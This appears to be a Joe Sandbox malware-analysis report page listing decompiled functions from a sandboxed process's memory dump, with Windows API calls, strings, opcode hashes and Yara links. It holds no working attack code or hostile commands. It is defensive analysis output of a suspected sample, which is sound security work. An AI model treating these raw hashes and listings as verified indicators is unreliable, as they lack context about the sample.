GetAsyncKeyState.USER32(000000A0), ref: 00219D22
GetKeyState.USER32(000000A0), ref: 00219D3D
GetAsyncKeyState.USER32(000000A1), ref: 00219D57
GetKeyState.USER32(000000A1), ref: 00219D6C
GetAsyncKeyState.USER32(00000011), ref: 00219D84
GetKeyState.USER32(00000011), ref: 00219D96
GetAsyncKeyState.USER32(00000012), ref: 00219DAE
GetKeyState.USER32(00000012), ref: 00219DC0
GetAsyncKeyState.USER32(0000005B), ref: 00219DD8
GetKeyState.USER32(0000005B), ref: 00219DEA

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: ab7ef7fc3893c492ee78a0c32f8ee01a9bac2f37495dec1002e4b04ec5c98707
Instruction ID: 5d93aa0374ed999909f105a1460034625b23b274c3413fc7236f3049a05f97ad
Opcode Fuzzy Hash: ab7ef7fc3893c492ee78a0c32f8ee01a9bac2f37495dec1002e4b04ec5c98707
Instruction Fuzzy Hash: B34108346147CB69FF309F64D4243F5BEE0AB36304F48805ADAC6561C2D7A599E4C7A2

Function 0023055B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 002305BC
inet_addr.WSOCK32(?), ref: 0023061C
gethostbyname.WSOCK32(?), ref: 00230628
IcmpCreateFile.IPHLPAPI ref: 00230636
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 002306C6
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 002306E5
IcmpCloseHandle.IPHLPAPI(?), ref: 002307B9
WSACleanup.WSOCK32 ref: 002307BF

Strings

Ping, xrefs: 00230676

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 6e95fec4d4e8e4f6b001a71fec5779a9d224be0f00b968ab1e49a3fe5364ae12
Instruction ID: 950d2d4d89f9f151f47e2a4cbdf0ae918df4518ff86bf8680329cca60bc01013
Opcode Fuzzy Hash: 6e95fec4d4e8e4f6b001a71fec5779a9d224be0f00b968ab1e49a3fe5364ae12
Instruction Fuzzy Hash: E2919EB56142029FD320DF19D4D9F1ABBE4BF44318F1485A9F46A8B6A2C770EC51CFA1

Function 00238CD3 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00000000,?), ref: 00238CF3

Part of subcall function 00218E54: _wcslen.LIBCMT ref: 00218E77

_wcslen.LIBCMT ref: 00238D4E
_wcslen.LIBCMT ref: 00238D9C
_wcslen.LIBCMT ref: 00238DDC
_wcslen.LIBCMT ref: 00238E6E

Strings

stdcall, xrefs: 00238DD6, 00238DDB
cdecl, xrefs: 00238D48, 00238D4D
winapi, xrefs: 00238D96, 00238D9B
none, xrefs: 00238E65, 00238E6A

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _wcslen$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 707087890-567219261
Opcode ID: 6cb1446c763548405844c630c22ef50e27f84c52e9255eef6b5328048024fead
Instruction ID: f746c47d505dd879763a3f00f966177ffb5a0105262499a26b38a2bb15c34cc8
Opcode Fuzzy Hash: 6cb1446c763548405844c630c22ef50e27f84c52e9255eef6b5328048024fead
Instruction Fuzzy Hash: CD51A2B1A2021B9BCF14DF68C9508BEB7A5BF65724F204229F426EB284EB34DD51C790

Function 0023372C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00233774
CoUninitialize.OLE32 ref: 0023377F
CoCreateInstance.OLE32(?,00000000,00000017,0024FB78,?), ref: 002337D9
IIDFromString.OLE32(?,?), ref: 0023384C
VariantInit.OLEAUT32(?), ref: 002338E4
VariantClear.OLEAUT32(?), ref: 00233936

Strings

Failed to create object, xrefs: 002337E4, 0023389A
Invalid parameter, xrefs: 00233865
NULL Pointer assignment, xrefs: 0023381E

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: 3bd4bcf4b1e24bfe46d7e3539505e70617739105077da33a7467bdaaf1a766e2
Instruction ID: 9a9cf1c08fc9ad87e568bc6c51afe23ae844b4eb683c8a264875e6575a3f655b
Opcode Fuzzy Hash: 3bd4bcf4b1e24bfe46d7e3539505e70617739105077da33a7467bdaaf1a766e2
Instruction Fuzzy Hash: C261AEB0628301AFD311DF54D889FAABBE8EF59710F104919F9859B291C770EF58CB92

Function 00223388 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 002233CF

Part of subcall function 001B9CB3: _wcslen.LIBCMT ref: 001B9CBD

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 002233F0

Strings

Line %d (File "%s"):, xrefs: 00223443, 0022345C
Incorrect parameters to object property !, xrefs: 002234AB
^ ERROR , xrefs: 0022349E
"%s" (%d) : ==> %s:%s%s, xrefs: 00223504
Error: , xrefs: 002234D1
"%s" (%d) : ==> %s:, xrefs: 00223522

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-3080491070
Opcode ID: ca076bf9c1af6f6f5787ca0b6ace62422a7e95adec2e5a3e10b8df2fdff88e08
Instruction ID: a23f06245e3bf6d3d8f45af465128491ffc760d8dbb05f2ec978758670b14de2
Opcode Fuzzy Hash: ca076bf9c1af6f6f5787ca0b6ace62422a7e95adec2e5a3e10b8df2fdff88e08
Instruction Fuzzy Hash: AE51B331900219BADF14EBE0DD56EEEB7B8AF24300F604065F109720A2DB356FA9DF60

Function 0021B5C8 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 142COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 0021B5FC
_wcslen.LIBCMT ref: 0021B608
_wcslen.LIBCMT ref: 0021B64D
_wcslen.LIBCMT ref: 0021B68C
_wcslen.LIBCMT ref: 0021B6C7

Strings

APPEND, xrefs: 0021B6C1, 0021B6C6
REMOVE, xrefs: 0021B602, 0021B607
KEYS, xrefs: 0021B647, 0021B64C
EXISTS, xrefs: 0021B686, 0021B68B

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 1256254125-769500911
Opcode ID: e9400164f97145f40178750d852ce00af2bfe329a1b1b074fe4bf81d12d5c42b
Instruction ID: 0da9b7f8772edc1057f8c263f6203162c393d96e2374f822cb46c4c233c66730
Opcode Fuzzy Hash: e9400164f97145f40178750d852ce00af2bfe329a1b1b074fe4bf81d12d5c42b
Instruction Fuzzy Hash: F541D432A201679BCB216F7D88A05FEB7F9ABB0794B244129E425DB284E731CDD1C790

Function 00225393 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 002253A0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00225416
GetLastError.KERNEL32 ref: 00225420
SetErrorMode.KERNEL32(00000000,READY), ref: 002254A7

Strings

READONLY, xrefs: 00225452
NOTREADY, xrefs: 0022544B
READY, xrefs: 00225460, 00225468
UNKNOWN, xrefs: 00225444
INVALID, xrefs: 00225459

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 1fb0fe55dc715964f9ba1825eaf8aa88d88840932fd98d3aceec1027d73fd1f9
Instruction ID: fa16c987fe6ba9d0a078796190268afcadf10dab2c1069145621d60cc4c8cf69
Opcode Fuzzy Hash: 1fb0fe55dc715964f9ba1825eaf8aa88d88840932fd98d3aceec1027d73fd1f9
Instruction Fuzzy Hash: B7310535A10525AFC710EFA8E488AE9BBF4FF15305F14C056E505CB292D770DD92CB90

Function 00243C46 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 00243C79
SetMenu.USER32(?,00000000), ref: 00243C88
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00243D10
IsMenu.USER32(?), ref: 00243D24
CreatePopupMenu.USER32 ref: 00243D2E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00243D5B
DrawMenuBar.USER32 ref: 00243D63

Strings

0, xrefs: 00243C54
F, xrefs: 00243D4E

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID: 0$F
API String ID: 161812096-3044882817
Opcode ID: 51989aeceb97df82235fc567191f519821ebe651df95218eb3ef0dba5e565c45
Instruction ID: ba0b167bfed50184ae3caf1ffc377cdbc6af0f3444983347927d3efbdd309e7a
Opcode Fuzzy Hash: 51989aeceb97df82235fc567191f519821ebe651df95218eb3ef0dba5e565c45
Instruction Fuzzy Hash: 91417F79A12606EFDB18CF54E848ADE77B5FF49350F140029F956A7360D770AA20CF50

Function 00211EDF Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001B9CB3: _wcslen.LIBCMT ref: 001B9CBD

Part of subcall function 00213CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00213CCA

SendMessageW.USER32(?,0000018C,000000FF,00020000), ref: 00211F64
GetDlgCtrlID.USER32 ref: 00211F6F
GetParent.USER32 ref: 00211F8B
SendMessageW.USER32(00000000,?,00000111,?), ref: 00211F8E
GetDlgCtrlID.USER32(?), ref: 00211F97
GetParent.USER32(?), ref: 00211FAB
SendMessageW.USER32(00000000,?,00000111,?), ref: 00211FAE

Strings

ListBox, xrefs: 00211F21
ComboBox, xrefs: 00211EEC

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: 35239729798164f2e5031dd325c0b3110b08d7994de7613fd8b691a109b06d68
Instruction ID: e039d503c5363f87ca32ab865bfeaa707d435844f07626d7b37dc3c60d7c7849
Opcode Fuzzy Hash: 35239729798164f2e5031dd325c0b3110b08d7994de7613fd8b691a109b06d68
Instruction Fuzzy Hash: F1210474910218BFCF08AFA4DC84DFEBBB8EF26300F104105FA65A7291DB744969DB60

Function 00211FC0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001B9CB3: _wcslen.LIBCMT ref: 001B9CBD

Part of subcall function 00213CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00213CCA

SendMessageW.USER32(?,00000186,00020000,00000000), ref: 00212043
GetDlgCtrlID.USER32 ref: 0021204E
GetParent.USER32 ref: 0021206A
SendMessageW.USER32(00000000,?,00000111,?), ref: 0021206D
GetDlgCtrlID.USER32(?), ref: 00212076
GetParent.USER32(?), ref: 0021208A
SendMessageW.USER32(00000000,?,00000111,?), ref: 0021208D

Strings

ListBox, xrefs: 00212002
ComboBox, xrefs: 00211FCD

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: 0cdcec20101e57ff2d69968f8d1f7d971f83d0362bebc952256654fe1c92a175
Instruction ID: 68d66ef02de83f7a417b699aeef844a5aa6083b91db7467004f9826cbf0c8289
Opcode Fuzzy Hash: 0cdcec20101e57ff2d69968f8d1f7d971f83d0362bebc952256654fe1c92a175
Instruction Fuzzy Hash: 81212675910218BBCF08AFA4DC89EFEBFB8EF29300F104005F955A71A1DB754969DB60

Function 00243A23 Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00243A9D
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00243AA0
GetWindowLongW.USER32(?,000000F0), ref: 00243AC7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00243AEA
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00243B62
SendMessageW.USER32(?,00001074,00000000,00000007), ref: 00243BAC
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 00243BC7
SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 00243BE2
SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 00243BF6
SendMessageW.USER32(?,00001008,00000000,00000007), ref: 00243C13

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: 411f8e6ad46436f6d04f4bc2841a89c475908ad4b5b7cb32e80da4039e7befc1
Instruction ID: 158b2aefe43ce33b395076d9029ea1edc27416f39ea428bf9bf3c563a381eb1c
Opcode Fuzzy Hash: 411f8e6ad46436f6d04f4bc2841a89c475908ad4b5b7cb32e80da4039e7befc1
Instruction Fuzzy Hash: 90618A75A00208AFDB15DFA8CC85EEE77B8EB09704F10419AFA15E72A1C770AE56DF50

Function 0021B12F Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0021B151
GetForegroundWindow.USER32(00000000,?,?,?,?,?,0021A1E1,?,00000001), ref: 0021B165
GetWindowThreadProcessId.USER32(00000000), ref: 0021B16C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,0021A1E1,?,00000001), ref: 0021B17B
GetWindowThreadProcessId.USER32(?,00000000), ref: 0021B18D
AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,0021A1E1,?,00000001), ref: 0021B1A6
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,0021A1E1,?,00000001), ref: 0021B1B8
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,0021A1E1,?,00000001), ref: 0021B1FD
AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,0021A1E1,?,00000001), ref: 0021B212
AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,0021A1E1,?,00000001), ref: 0021B21D

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: e47da5c74bab3fab4f5158bf72239fa919b203a6e2ae0af4d92b176d50b66a9b
Instruction ID: a0bd9d62ea496740c82faa5352375691272cff91514d74dac3505df4cd8e8f6b
Opcode Fuzzy Hash: e47da5c74bab3fab4f5158bf72239fa919b203a6e2ae0af4d92b176d50b66a9b
Instruction Fuzzy Hash: CC31BF79522205BFDB12EF68EC5CFAD7BB9BB61711F218014FA04D6190D7B49A848F60

Function 001E2C80 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 001E2C94

Part of subcall function 001E29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,001ED7D1,00000000,00000000,00000000,00000000,?,001ED7F8,00000000,00000007,00000000,?,001EDBF5,00000000), ref: 001E29DE
Part of subcall function 001E29C8: GetLastError.KERNEL32(00000000,?,001ED7D1,00000000,00000000,00000000,00000000,?,001ED7F8,00000000,00000007,00000000,?,001EDBF5,00000000,00000000), ref: 001E29F0

_free.LIBCMT ref: 001E2CA0
_free.LIBCMT ref: 001E2CAB
_free.LIBCMT ref: 001E2CB6
_free.LIBCMT ref: 001E2CC1
_free.LIBCMT ref: 001E2CCC
_free.LIBCMT ref: 001E2CD7
_free.LIBCMT ref: 001E2CE2
_free.LIBCMT ref: 001E2CED
_free.LIBCMT ref: 001E2CFB

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 8f7cbdee1a29131d94a80cf33fe8605e7e36b085a416dff14cfe8f3b6f70aa30
Instruction ID: 0b237517cfd4717270112ac57baedc0e3d240a8b56f5b724c15c804df5d94113
Opcode Fuzzy Hash: 8f7cbdee1a29131d94a80cf33fe8605e7e36b085a416dff14cfe8f3b6f70aa30
Instruction Fuzzy Hash: 9A11043610045CAFCB06EF56D892CDC3BA9FF15344F4250A0FA489F222DB35EE509B90

Function 00227DF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00227FAD
SetCurrentDirectoryW.KERNEL32(?), ref: 00227FC1
GetFileAttributesW.KERNEL32(?), ref: 00227FEB
SetFileAttributesW.KERNEL32(?,00000000), ref: 00228005
SetCurrentDirectoryW.KERNEL32(?), ref: 00228017
SetCurrentDirectoryW.KERNEL32(?), ref: 00228060
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 002280B0

Strings

*.*, xrefs: 00228066

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile
String ID: *.*
API String ID: 769691225-438819550
Opcode ID: 076cfa81708648fd7d9f0f3d540dc1fca48d65313de9c88a4b14d3785e5a2ea1
Instruction ID: 4b43438d4c2f0c435422ae3650696bea4f1e3be0633c700eda9c4743c46c3c30
Opcode Fuzzy Hash: 076cfa81708648fd7d9f0f3d540dc1fca48d65313de9c88a4b14d3785e5a2ea1
Instruction Fuzzy Hash: 8481C17152C212ABCB20EF94D8449AEB3E8BF99310F154C6EF885C7250EB74DD55CBA2

Function 001B5BEA Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 001B5C7A

Part of subcall function 001B5D0A: GetClientRect.USER32(?,?), ref: 001B5D30
Part of subcall function 001B5D0A: GetWindowRect.USER32(?,?), ref: 001B5D71
Part of subcall function 001B5D0A: ScreenToClient.USER32(?,?), ref: 001B5D99

GetDC.USER32 ref: 001F46F5
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 001F4708
SelectObject.GDI32(00000000,00000000), ref: 001F4716
SelectObject.GDI32(00000000,00000000), ref: 001F472B
ReleaseDC.USER32(?,00000000), ref: 001F4733
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 001F47C4

Strings

U, xrefs: 001F4693

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

